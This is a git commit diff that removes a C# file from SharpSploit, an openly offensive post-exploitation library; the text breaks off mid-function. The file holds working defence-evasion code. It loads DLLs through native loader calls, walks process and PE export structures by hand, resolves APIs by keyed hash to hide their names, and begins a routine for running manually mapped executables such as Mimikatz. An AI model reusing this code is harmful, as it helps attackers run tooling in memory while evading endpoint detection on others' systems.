This commit is contained in:
parent
9477573731
commit
90c2facd69
Binary file not shown.
|
@ -1,735 +0,0 @@
|
|||
// Author: Ryan Cobb (@cobbr_io)
|
||||
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
|
||||
// License: BSD 3-Clause
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Diagnostics;
|
||||
using System.Collections.Generic;
|
||||
using System.Security.Cryptography;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using Execute = SharpSploit.Execution;
|
||||
|
||||
namespace SharpSploit.Execution.DynamicInvoke
|
||||
{
|
||||
/// <summary>
|
||||
/// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious
|
||||
/// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime.
|
||||
/// </summary>
|
||||
public class Generic
|
||||
{
|
||||
/// <summary>
|
||||
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
|
||||
/// </summary>
|
||||
/// <author>The Wover (@TheRealWover)</author>
|
||||
/// <param name="DLLName">Name of the DLL.</param>
|
||||
/// <param name="FunctionName">Name of the function.</param>
|
||||
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
|
||||
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
|
||||
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
|
||||
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
|
||||
{
|
||||
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
|
||||
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
|
||||
/// </summary>
|
||||
/// <author>The Wover (@TheRealWover)</author>
|
||||
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
|
||||
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
|
||||
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
|
||||
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
|
||||
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
|
||||
{
|
||||
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
|
||||
return funcDelegate.DynamicInvoke(Parameters);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
|
||||
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
|
||||
public static IntPtr LoadModuleFromDisk(string DLLPath)
|
||||
{
|
||||
Execute.Native.UNICODE_STRING uModuleName = new Execute.Native.UNICODE_STRING();
|
||||
Native.RtlInitUnicodeString(ref uModuleName, DLLPath);
|
||||
|
||||
IntPtr hModule = IntPtr.Zero;
|
||||
Execute.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
|
||||
if (CallResult != Execute.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
return hModule;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Helper for getting the pointer to a function from a DLL loaded by the process.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
|
||||
/// <param name="FunctionName">Name of the exported procedure.</param>
|
||||
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
|
||||
{
|
||||
IntPtr hModule = GetLoadedModuleAddress(DLLName);
|
||||
if (hModule == IntPtr.Zero && CanLoadFromDisk)
|
||||
{
|
||||
hModule = LoadModuleFromDisk(DLLName);
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
|
||||
}
|
||||
}
|
||||
else if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new DllNotFoundException(DLLName + ", Dll was not found.");
|
||||
}
|
||||
|
||||
return GetExportAddress(hModule, FunctionName);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Helper for getting the pointer to a function from a DLL loaded by the process.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
|
||||
/// <param name="Ordinal">Ordinal of the exported procedure.</param>
|
||||
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false)
|
||||
{
|
||||
IntPtr hModule = GetLoadedModuleAddress(DLLName);
|
||||
if (hModule == IntPtr.Zero && CanLoadFromDisk)
|
||||
{
|
||||
hModule = LoadModuleFromDisk(DLLName);
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
|
||||
}
|
||||
}
|
||||
else if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new DllNotFoundException(DLLName + ", Dll was not found.");
|
||||
}
|
||||
|
||||
return GetExportAddress(hModule, Ordinal);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Helper for getting the pointer to a function from a DLL loaded by the process.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
|
||||
/// <param name="FunctionHash">Hash of the exported procedure.</param>
|
||||
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
|
||||
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false)
|
||||
{
|
||||
IntPtr hModule = GetLoadedModuleAddress(DLLName);
|
||||
if (hModule == IntPtr.Zero && CanLoadFromDisk)
|
||||
{
|
||||
hModule = LoadModuleFromDisk(DLLName);
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
|
||||
}
|
||||
}
|
||||
else if (hModule == IntPtr.Zero)
|
||||
{
|
||||
throw new DllNotFoundException(DLLName + ", Dll was not found.");
|
||||
}
|
||||
|
||||
return GetExportAddress(hModule, FunctionHash, Key);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Helper for getting the base address of a module loaded by the current process. This base
|
||||
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
|
||||
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
|
||||
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
|
||||
public static IntPtr GetLoadedModuleAddress(string DLLName)
|
||||
{
|
||||
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
|
||||
foreach (ProcessModule Mod in ProcModules)
|
||||
{
|
||||
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
|
||||
{
|
||||
return Mod.BaseAddress;
|
||||
}
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Helper for getting the base address of a module loaded by the current process. This base
|
||||
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
|
||||
/// manual export parsing. This function parses the _PEB_LDR_DATA structure.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
|
||||
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
|
||||
public static IntPtr GetPebLdrModuleEntry(string DLLName)
|
||||
{
|
||||
// Get _PEB pointer
|
||||
Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
|
||||
|
||||
// Set function variables
|
||||
bool Is32Bit = false;
|
||||
UInt32 LdrDataOffset = 0;
|
||||
UInt32 InLoadOrderModuleListOffset = 0;
|
||||
if (IntPtr.Size == 4)
|
||||
{
|
||||
Is32Bit = true;
|
||||
LdrDataOffset = 0xc;
|
||||
InLoadOrderModuleListOffset = 0xC;
|
||||
}
|
||||
else
|
||||
{
|
||||
LdrDataOffset = 0x18;
|
||||
InLoadOrderModuleListOffset = 0x10;
|
||||
}
|
||||
|
||||
// Get module InLoadOrderModuleList -> _LIST_ENTRY
|
||||
IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));
|
||||
IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);
|
||||
Execute.Native.LIST_ENTRY le = (Execute.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Execute.Native.LIST_ENTRY));
|
||||
|
||||
// Loop entries
|
||||
IntPtr flink = le.Flink;
|
||||
IntPtr hModule = IntPtr.Zero;
|
||||
PE.LDR_DATA_TABLE_ENTRY dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
|
||||
while (dte.InLoadOrderLinks.Flink != le.Blink)
|
||||
{
|
||||
// Match module name
|
||||
if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
hModule = dte.DllBase;
|
||||
}
|
||||
|
||||
// Move Ptr
|
||||
flink = dte.InLoadOrderLinks.Flink;
|
||||
dte = (PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(PE.LDR_DATA_TABLE_ENTRY));
|
||||
}
|
||||
|
||||
return hModule;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="APIName">API name to hash.</param>
|
||||
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
|
||||
/// <returns>string, the computed MD5 hash value.</returns>
|
||||
public static string GetAPIHash(string APIName, long Key)
|
||||
{
|
||||
byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());
|
||||
byte[] kbytes = BitConverter.GetBytes(Key);
|
||||
|
||||
using (HMACMD5 hmac = new HMACMD5(kbytes))
|
||||
{
|
||||
byte[] bHash = hmac.ComputeHash(data);
|
||||
return BitConverter.ToString(bHash).Replace("-", "");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Given a module base address, resolve the address of a function by manually walking the module export table.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
|
||||
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
|
||||
{
|
||||
IntPtr FunctionPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
// Traverse the PE header in memory
|
||||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||||
Int64 pExport = 0;
|
||||
if (Magic == 0x010b)
|
||||
{
|
||||
pExport = OptHeader + 0x60;
|
||||
}
|
||||
else
|
||||
{
|
||||
pExport = OptHeader + 0x70;
|
||||
}
|
||||
|
||||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||||
|
||||
// Loop the array of export name RVA's
|
||||
for (int i = 0; i < NumberOfNames; i++)
|
||||
{
|
||||
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||||
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Catch parser failure
|
||||
throw new InvalidOperationException("Failed to parse module exports.");
|
||||
}
|
||||
|
||||
if (FunctionPtr == IntPtr.Zero)
|
||||
{
|
||||
// Export not found
|
||||
throw new MissingMethodException(ExportName + ", export not found.");
|
||||
}
|
||||
return FunctionPtr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Given a module base address, resolve the address of a function by manually walking the module export table.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
|
||||
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal)
|
||||
{
|
||||
IntPtr FunctionPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
// Traverse the PE header in memory
|
||||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||||
Int64 pExport = 0;
|
||||
if (Magic == 0x010b)
|
||||
{
|
||||
pExport = OptHeader + 0x60;
|
||||
}
|
||||
else
|
||||
{
|
||||
pExport = OptHeader + 0x70;
|
||||
}
|
||||
|
||||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||||
|
||||
// Loop the array of export name RVA's
|
||||
for (int i = 0; i < NumberOfNames; i++)
|
||||
{
|
||||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||||
if (FunctionOrdinal == Ordinal)
|
||||
{
|
||||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Catch parser failure
|
||||
throw new InvalidOperationException("Failed to parse module exports.");
|
||||
}
|
||||
|
||||
if (FunctionPtr == IntPtr.Zero)
|
||||
{
|
||||
// Export not found
|
||||
throw new MissingMethodException(Ordinal + ", ordinal not found.");
|
||||
}
|
||||
return FunctionPtr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Given a module base address, resolve the address of a function by manually walking the module export table.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
|
||||
/// <param name="FunctionHash">Hash of the exported procedure.</param>
|
||||
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key)
|
||||
{
|
||||
IntPtr FunctionPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
// Traverse the PE header in memory
|
||||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||||
Int64 pExport = 0;
|
||||
if (Magic == 0x010b)
|
||||
{
|
||||
pExport = OptHeader + 0x60;
|
||||
}
|
||||
else
|
||||
{
|
||||
pExport = OptHeader + 0x70;
|
||||
}
|
||||
|
||||
// Read -> IMAGE_EXPORT_DIRECTORY
|
||||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||||
|
||||
// Loop the array of export name RVA's
|
||||
for (int i = 0; i < NumberOfNames; i++)
|
||||
{
|
||||
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||||
if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||||
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||||
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Catch parser failure
|
||||
throw new InvalidOperationException("Failed to parse module exports.");
|
||||
}
|
||||
|
||||
if (FunctionPtr == IntPtr.Zero)
|
||||
{
|
||||
// Export not found
|
||||
throw new MissingMethodException(FunctionHash + ", export hash not found.");
|
||||
}
|
||||
return FunctionPtr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
|
||||
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)
|
||||
{
|
||||
Execute.Native.ANSI_STRING aFunc = new Execute.Native.ANSI_STRING
|
||||
{
|
||||
Length = (ushort)ExportName.Length,
|
||||
MaximumLength = (ushort)(ExportName.Length + 2),
|
||||
Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)
|
||||
};
|
||||
|
||||
IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));
|
||||
Marshal.StructureToPtr(aFunc, pAFunc, true);
|
||||
|
||||
IntPtr pFuncAddr = IntPtr.Zero;
|
||||
Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);
|
||||
|
||||
Marshal.FreeHGlobal(pAFunc);
|
||||
|
||||
return pFuncAddr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
|
||||
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
|
||||
/// <returns>IntPtr for the desired function.</returns>
|
||||
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)
|
||||
{
|
||||
IntPtr pFuncAddr = IntPtr.Zero;
|
||||
IntPtr pOrd = (IntPtr)Ordinal;
|
||||
|
||||
Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);
|
||||
|
||||
return pFuncAddr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve PE header information from the module base pointer.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="pModule">Pointer to the module base.</param>
|
||||
/// <returns>PE.PE_META_DATA</returns>
|
||||
public static PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
|
||||
{
|
||||
PE.PE_META_DATA PeMetaData = new PE.PE_META_DATA();
|
||||
try
|
||||
{
|
||||
UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
|
||||
PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
|
||||
// Validate PE signature
|
||||
if (PeMetaData.Pe != 0x4550)
|
||||
{
|
||||
throw new InvalidOperationException("Invalid PE signature.");
|
||||
}
|
||||
PeMetaData.ImageFileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(PE.IMAGE_FILE_HEADER));
|
||||
IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
|
||||
UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
|
||||
// Validate PE arch
|
||||
if (PEArch == 0x010b) // Image is x32
|
||||
{
|
||||
PeMetaData.Is32Bit = true;
|
||||
PeMetaData.OptHeader32 = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER32));
|
||||
}
|
||||
else if (PEArch == 0x020b) // Image is x64
|
||||
{
|
||||
PeMetaData.Is32Bit = false;
|
||||
PeMetaData.OptHeader64 = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER64));
|
||||
} else
|
||||
{
|
||||
throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
|
||||
}
|
||||
// Read sections
|
||||
PE.IMAGE_SECTION_HEADER[] SectionArray = new PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
|
||||
for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
|
||||
SectionArray[i] = (PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(PE.IMAGE_SECTION_HEADER));
|
||||
}
|
||||
PeMetaData.Sections = SectionArray;
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw new InvalidOperationException("Invalid module base specified.");
|
||||
}
|
||||
return PeMetaData;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resolve host DLL for API Set DLL.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <returns>Dictionary, a combination of Key:APISetDLL and Val:HostDLL.</returns>
|
||||
public static Dictionary<string, string> GetApiSetMapping()
|
||||
{
|
||||
Execute.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
|
||||
UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;
|
||||
|
||||
// Create mapping dictionary
|
||||
Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();
|
||||
|
||||
IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));
|
||||
PE.ApiSetNamespace Namespace = (PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(PE.ApiSetNamespace));
|
||||
for (var i = 0; i < Namespace.Count; i++)
|
||||
{
|
||||
PE.ApiSetNamespaceEntry SetEntry = new PE.ApiSetNamespaceEntry();
|
||||
SetEntry = (PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(PE.ApiSetNamespaceEntry));
|
||||
string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength/2) + ".dll";
|
||||
|
||||
PE.ApiSetValueEntry SetValue = new PE.ApiSetValueEntry();
|
||||
SetValue = (PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(PE.ApiSetValueEntry));
|
||||
string ApiSetValue = string.Empty;
|
||||
if (SetValue.ValueCount != 0)
|
||||
{
|
||||
ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount/2);
|
||||
}
|
||||
|
||||
// Add pair to dict
|
||||
ApiSetDict.Add(ApiSetEntryName, ApiSetValue);
|
||||
}
|
||||
|
||||
// Return dict
|
||||
return ApiSetDict;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Call a manually mapped PE by its EntryPoint.
|
||||
/// </summary>
|
||||
/// <author>Ruben Boonen (@FuzzySec)</author>
|
||||
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
|
||||
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
|
||||
/// <returns>void</returns>
|
||||
public static void CallMappedPEModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
|
||||
{
|
||||
// Call module by EntryPoint (eg Mimikatz.exe)
|
||||
IntPtr hRemoteThread = IntPtr.Zero;
|
||||
